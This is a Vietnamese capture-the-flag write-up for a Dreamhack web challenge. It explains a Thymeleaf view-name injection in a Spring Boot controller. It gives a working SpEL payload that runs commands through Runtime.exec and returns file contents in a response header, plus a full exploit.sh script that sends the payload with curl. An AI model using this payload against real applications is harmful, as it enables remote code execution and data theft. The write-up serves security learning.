---
# Autumn Leaves
## **1. Brainstorm:**
Dựng challenge ở local bằng Docker.

Truy cập web server tại `http://localhost:8080`, ta thấy trang chủ:
<!-- ![image - Trang chủ Autumn Leaves] -->

Phân tích `MainController.java`:
```java
package com.example.autumn_leaves.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.ui.Model;
@Controller
public class MainController {
@GetMapping("/")
public String main(){
return "index";
}
@GetMapping("/user")
public String router(@RequestParam(required = false, defaultValue = "guest") String id){
return "user/" + id;
}
@GetMapping("/error_page")
public String pageError(@RequestParam("status") String status, Model model){
model.addAttribute("status", status);
return "error";
}
}
```
Ta thấy `MainController.java` có xử lý endpoint `/user`:
```java
@GetMapping("/user")
public String router(@RequestParam(required = false, defaultValue = "guest") String id){
return "user/" + id;
}
```
Tại route `/user`, tham số `id` được lấy từ người dùng (User input) và nối trực tiếp vào chuỗi trả về `return "user/" + id;`.
Trong Spring Boot với Template Engine Thymeleaf, khi Controller trả về một String, nó được coi là **View Name**. **ThymeleafViewResolver** sẽ cố gắng tìm file template tương ứng, nếu không tìm thấy thì sẽ ném ra Exception (hoặc báo lỗi tuỳ vào config). Nếu Exception không được ****try-catch**** thì Spring Boot sẽ forward request đến `/error` , nơi mặc định để xử lý các lỗi (error handling path) khi có sự cố xảy ra trong ứng dụng.
File `MyErrorController.java`:
```java
package com.example.autumn_leaves.controller;
import org.springframework.boot.web.servlet.error.ErrorControll er;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.servlet.view.RedirectView;
import javax.servlet.RequestDispatcher;
import javax.servlet.http.HttpServletRequest;
@Controller
public class MyErrorController implements ErrorController {
@RequestMapping("/error")
public RedirectView handleError(HttpServletRequest request) {
Object status = request.getAttribute(RequestDispatcher.ERROR_STATUS_CODE);
if (status != null) {
Integer statusCode = Integer.valueOf(status.toString());
return new RedirectView("/error_page?status=" + statusCode);
}
return new RedirectView("/error_page?status=");
}
@Override
public String getErrorPath() {
return "error";
}
}
```
Ta thấy `MyErrorController.java` đang triển khai `/error` handler với 2 trường hợp là có lỗi có status code hoặc không, nhưng chung quy đều sẽ được đưa tới `/error_page` và trả về `error.html`
Vấn đề nằm ở chỗ Thymeleaf có tính năng **Preprocessing** cho View Name. Nếu tên View chứa biểu thức đặc biệt như `__${...}__`, Thymeleaf sẽ thực thi biểu thức đó trước khi tìm file template. Đây là lỗ hổng **Server-Side Template Injection (SSTI)**.
Tiếp theo, ta xem `Dockerfile` để biết vị trí của Flag và cấu hình server:
```dockerfile
FROM eclipse-temurin:8-jdk-jammy
ENV USER author
ENV PORT 8080
RUN adduser --disabled-password $USER
WORKDIR /app
COPY ./deploy/autumn-leaves-1.0-SNAPSHOT.jar .
RUN apt-get update && \
apt-get install -y gcc
COPY ./deploy/flag.c /flag.c
RUN chmod 444 /flag.c && \
chown root:$USER /flag.c
USER $USER
EXPOSE $PORT
CMD ["java","-jar","./autumn-leaves-1.0-SNAPSHOT.jar"]
```
File `flag.c` được đặt ở thư mục gốc `/` và chỉ có quyền đọc (`444`). Đồng thời web server chạy dưới quyền user `author` (quyền thấp).
```dockerfile
COPY ./deploy/flag.c /flag.c
RUN chmod 444 /flag.c
USER author
```
## 2. Exploit:
**Hạn chế:**
Khi thử payload cơ bản để đọc file, ta gặp trở ngại:
Endpoint `/error_page` (do `MyErrorController` quản lý) và file `error.html` không hiển thị chi tiết lỗi Exception. Điều này có nghĩa là chúng ta đang đối mặt với dạng **Blind SSTI**.
**`error.html`**
```html
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<head>
<meta charset="UTF-8">
<title>Error</title>
<link rel="stylesheet" th:href="@{css/error.css}">
</head>
<body>
<div class="error-container">
<h1>Oops!</h1>
<p>Something went wrong. We're sorry for the inconvenience.</p>
<p th:if="${status}">Error Code: <span th:text="${status}"></span></p>
<a href="/" class="button">Go Home</a>
</div>
</body>
</html>
```
Và khi kiểm tra Specfile, ta thấy `allow_outgoing = false`. Điều này chặn đứng hướng tấn công OOB (Out-of-Band) thông thường qua `curl` hay `wget` ra server của hacker.
```
[wargame]
title = Autumn Leaves
flag = **REDACTED**
tags = web
[vm]
os = linux
memory = 128
disk = 1024
ports = 8080/tcp
allow_outgoing = false
docker_compose = false
```
--> Blind SSTI nhưng không OOB được.
**Hướng giải quyết: Response Injection (In-Band Exploitation)**
Vì code thực thi được viết bằng Java (thông qua `SpEL`), ta có thể can thiệp trực tiếp vào đối tượng `HttpServletResponse` của request hiện tại để gửi dữ liệu về client mà không cần thông qua `View Resolver`.
Chúng ta sẽ sử dụng `RequestContextHolder` để truy cập Request hiện tại, lấy Response object, và thêm một Header tùy chỉnh chứa nội dung Flag.
**Xây dựng Payload:**
Payload `SpEL`:
* `T(org.springframework.web.context.request.RequestContextHolder)` : Truy cập Static Class
* `currentRequestAttributes().getResponse()` : Lấy đối tượng Response hiện tại
* `addHeader("X-Flag", ...)` : Ghi flag vào Header X-Flag
* `Runtime.exec()` : Chạy lệnh bash pipeline
* `base64 -w 0 /flag.c` : Đọc file flag.c và encode base64 để tránh lỗi ký tự đặc biệt (dấu #, xuống dòng) làm hỏng Header.
Java code tương ứng với payload trong `exploit.sh`
```java
HttpServletResponse resp = ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getResponse();
Process p = Runtime.getRuntime().exec(new String[]{"/usr/bin/base64", "-w", "0", "/flag.c"});
Scanner s = new Scanner(p.getInputStream());
String b64 = s.next();
resp.addHeader("X-Flag", b64);
```
Việc dùng `new String[]{"cmd", "arg"}` trong `exec()` là để tránh lỗi phân tách tham số khi có khoảng trắng.
Script `exploit.sh` tự động hóa quá trình tấn công:
```bash
#!/bin/bash
TARGET="http://host8.dreamhack.games:22791"
#1. Payload sử dụng
RAW_PAYLOAD='guest :: __${T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().addHeader("X-Flag",new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(new java.lang.String[]{"/usr/bin/base64","-w","0","/flag.c"}).getInputStream()).next())}__'
# 2. Encode Payload
# Sử dụng Python để URL Encode payload vì payload chứa nhiều ký tự đặc biệt như $ { } "
ENCODED_PAYLOAD=$(python3 -c "import urllib.parse, sys; print(urllib.parse.quote(sys.argv[1]))" "$RAW_PAYLOAD")
# 3. Gửi Request & Lọc Header
# Curl -I: Chỉ lấy Header
# grep X-Flag: Lọc dòng header chứa flag
RESPONSE_HEADERS=$(curl -s -I "$TARGET/user?id=$ENCODED_PAYLOAD")
BASE64_FLAG=$(echo "$RESPONSE_HEADERS" | grep -i "X-Flag:" | awk '{print $2}' | tr -d '\r')
# 4. Decode & Compile & Run
# Nội dung file flag.c lấy được là source code C, cần biên dịch để chạy.
echo "$BASE64_FLAG" | base64 -d > real_flag.c
gcc real_flag.c -o real_flag
./real_flag
```
**Thực hiện script:**
Ở đây ta làm ở local và file zip đề cho cũng không cho file `flag.c` để test nên ta sẽ tự dựng 1 file `real_flag.c` để test payload trong quá trình giải trước khi làm ở remote.
`real_flag.c`
```C
#include <stdio.h>
int main() { printf("DH{fake_flag_for_testing}\n"); return 0; }
```
Sau khi chạy, script tự động biên dịch code C lấy được từ server và thực thi nó để in ra flag.

## **3. Reference:**
https://cwe.mitre.org/data/definitions/1336.html